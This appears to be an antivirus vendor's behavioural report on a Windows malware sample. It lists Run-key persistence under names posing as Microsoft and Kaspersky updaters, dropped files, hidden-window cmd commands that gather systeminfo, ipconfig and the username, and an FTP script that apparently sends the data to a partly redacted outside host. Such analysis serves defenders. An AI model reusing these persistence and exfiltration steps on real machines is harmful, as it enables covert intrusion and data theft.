Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'MicrosoftWINNTUPDATE' = 'C:\users\public\MicrosoftScanner.exe'
- [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'My Program' = '\<Full path to file>\'
- [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'WINUPDATE32' = '\C:\users\public\Kaspersky.exe'
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\kaspersky.exe
Modifies file system
Creates the following files
- C:\users\public\kaspersky.exe
- C:\users\public\l.txt
- C:\users\public\test.jpg
- C:\users\public\loggprc.txt
- %HOMEPATH%\sp.txt
Network activity
Connects to
- 'ft###load.net':21
TCP
Other
- 'ft###load.net':21
UDP
- DNS ASK ft###load.net
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\cmd.exe' /C copy <Full path to file>C:\users\public\MicrosoftScanner.exe /y' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C echo conhost >>C:\users\public\loggPRC.txt' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C ftp -s:%userprofile%\SP.txt' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C copy nul %userprofile%\SP.txt /y' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C echo Idle >>C:\users\public\loggPRC.txt' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C echo explorer >>C:\users\public\loggPRC.txt' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C echo System >>C:\users\public\loggPRC.txt' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C echo lsass >>C:\users\public\loggPRC.txt' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C echo WUDFHost >>C:\users\public\loggPRC.txt' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C echo firefox >>C:\users\public\loggPRC.txt' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C echo lsm >>C:\users\public\loggPRC.txt' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C echo dwm >>C:\users\public\loggPRC.txt' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C echo winlogon >>C:\users\public\loggPRC.txt' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C echo spoolsv >>C:\users\public\loggPRC.txt' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C echo mdm >>C:\users\public\loggPRC.txt' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C echo audiodg >>C:\users\public\loggPRC.txt' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C echo smss >>C:\users\public\loggPRC.txt' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C echo taskhost >>C:\users\public\loggPRC.txt' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C echo csrss >>C:\users\public\loggPRC.txt' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C echo iexplore >>C:\users\public\loggPRC.txt' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C echo svchost >>C:\users\public\loggPRC.txt' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C echo wininit >>C:\users\public\loggPRC.txt' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C echo services >>C:\users\public\loggPRC.txt' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C echo WmiPrvSE >>C:\users\public\loggPRC.txt' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C echo <File name> >>C:\users\public\loggPRC.txt' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C ipconfig >>C:\users\public\l.txt' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C User: %username% >>C:\users\public\l.txt' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C systeminfo >C:\users\public\l.txt' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C echo ftp >>C:\users\public\loggPRC.txt' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C echo cmd >>C:\users\public\loggPRC.txt' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C copy <Full path to file>C:\users\public\MicrosoftScanner.exe /y
- '%WINDIR%\syswow64\cmd.exe' /C echo winlogon >>C:\users\public\loggPRC.txt
- '%WINDIR%\syswow64\cmd.exe' /C echo dwm >>C:\users\public\loggPRC.txt
- '%WINDIR%\syswow64\cmd.exe' /C echo lsm >>C:\users\public\loggPRC.txt
- '%WINDIR%\syswow64\cmd.exe' /C echo firefox >>C:\users\public\loggPRC.txt
- '%WINDIR%\syswow64\cmd.exe' /C echo WUDFHost >>C:\users\public\loggPRC.txt
- '%WINDIR%\syswow64\cmd.exe' /C echo lsass >>C:\users\public\loggPRC.txt
- '%WINDIR%\syswow64\cmd.exe' /C echo explorer >>C:\users\public\loggPRC.txt
- '%WINDIR%\syswow64\cmd.exe' /C echo services >>C:\users\public\loggPRC.txt
- '%WINDIR%\syswow64\cmd.exe' /C echo Idle >>C:\users\public\loggPRC.txt
- '%WINDIR%\syswow64\cmd.exe' /C copy nul %userprofile%\SP.txt /y
- '%WINDIR%\syswow64\cmd.exe' /C ftp -s:%userprofile%\SP.txt
- '%WINDIR%\syswow64\ftp.exe' -s:%HOMEPATH%\SP.txt
- '%WINDIR%\syswow64\cmd.exe' /C echo conhost >>C:\users\public\loggPRC.txt
- '%WINDIR%\syswow64\cmd.exe' /C echo ftp >>C:\users\public\loggPRC.txt
- '%WINDIR%\syswow64\cmd.exe' /C echo spoolsv >>C:\users\public\loggPRC.txt
- '%WINDIR%\syswow64\cmd.exe' /C echo mdm >>C:\users\public\loggPRC.txt
- '%WINDIR%\syswow64\cmd.exe' /C echo audiodg >>C:\users\public\loggPRC.txt
- '%WINDIR%\syswow64\cmd.exe' /C echo smss >>C:\users\public\loggPRC.txt
- '%WINDIR%\syswow64\cmd.exe' /C echo taskhost >>C:\users\public\loggPRC.txt
- '%WINDIR%\syswow64\cmd.exe' /C echo csrss >>C:\users\public\loggPRC.txt
- '%WINDIR%\syswow64\cmd.exe' /C echo iexplore >>C:\users\public\loggPRC.txt
- '%WINDIR%\syswow64\cmd.exe' /C echo svchost >>C:\users\public\loggPRC.txt
- '%WINDIR%\syswow64\cmd.exe' /C echo wininit >>C:\users\public\loggPRC.txt
- '%WINDIR%\syswow64\cmd.exe' /C echo System >>C:\users\public\loggPRC.txt
- '%WINDIR%\syswow64\cmd.exe' /C echo WmiPrvSE >>C:\users\public\loggPRC.txt
- '%WINDIR%\syswow64\cmd.exe' /C echo <File name> >>C:\users\public\loggPRC.txt
- '%WINDIR%\syswow64\ipconfig.exe'
- '%WINDIR%\syswow64\cmd.exe' /C ipconfig >>C:\users\public\l.txt
- '%WINDIR%\syswow64\cmd.exe' /C User: %username% >>C:\users\public\l.txt
- '%WINDIR%\syswow64\systeminfo.exe'
- '%WINDIR%\syswow64\cmd.exe' /C systeminfo >C:\users\public\l.txt
- '%WINDIR%\syswow64\cmd.exe' /C echo cmd >>C:\users\public\loggPRC.txt
- '<SYSTEM32>\rundll32.exe' <SYSTEM32>\FirewallControlPanel.dll,ShowNotificationDialog /configure /ETOnly 0 /OnProfiles 6 /OtherAllowed 0 /OtherBlocked 0 /OtherEdgeAllowed 0 /NewBlocked 4 "%WINDIR%\syswow64\ftp.exe"
